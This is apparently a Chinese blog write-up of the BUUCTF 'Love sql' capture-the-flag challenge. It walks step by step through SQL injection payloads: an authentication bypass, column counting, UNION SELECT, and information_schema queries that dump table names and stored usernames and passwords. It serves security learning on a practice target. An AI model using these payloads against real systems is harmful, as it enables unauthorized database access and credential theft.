BUUCTF-Love sql

前言

sql注入的一般流程:找注入点->找列数->找回显位->报数据库->爆表->爆字段->爆数据
其他有关sql注入的知识还是麻烦师傅们自己去搜一下,以下就不过多赘述知识点

正题

在这里插入图片描述
首先,页面上方有一段字:用sqlmap是没有灵魂的
不过呢,我也不会用sqlmap。。。(新手)
直接上万能钥匙:1' or 1=1#,密码随便取。
在这里插入图片描述一次就成功。

找列数

1' order by 4#,一直试到4才报错
在这里插入图片描述

在这里插入图片描述
一共3个字段

找回显位

1' union select 1,2,3#
在这里插入图片描述
回显位置在2和3

爆数据库

1' union select 1,2,database()#
在这里插入图片描述
数据库名为geek.

爆表

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
在这里插入图片描述两个表:geekuser,l0ve1ysq1
不用试geekuser了,因为里面没有flag。。。

爆字段

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#
在这里插入图片描述有三个字段:id,username,password

爆数据

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
在这里插入图片描述这里看着不舒服,Ctrl+u查看源代码
在这里插入图片描述
flag就在这里了。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值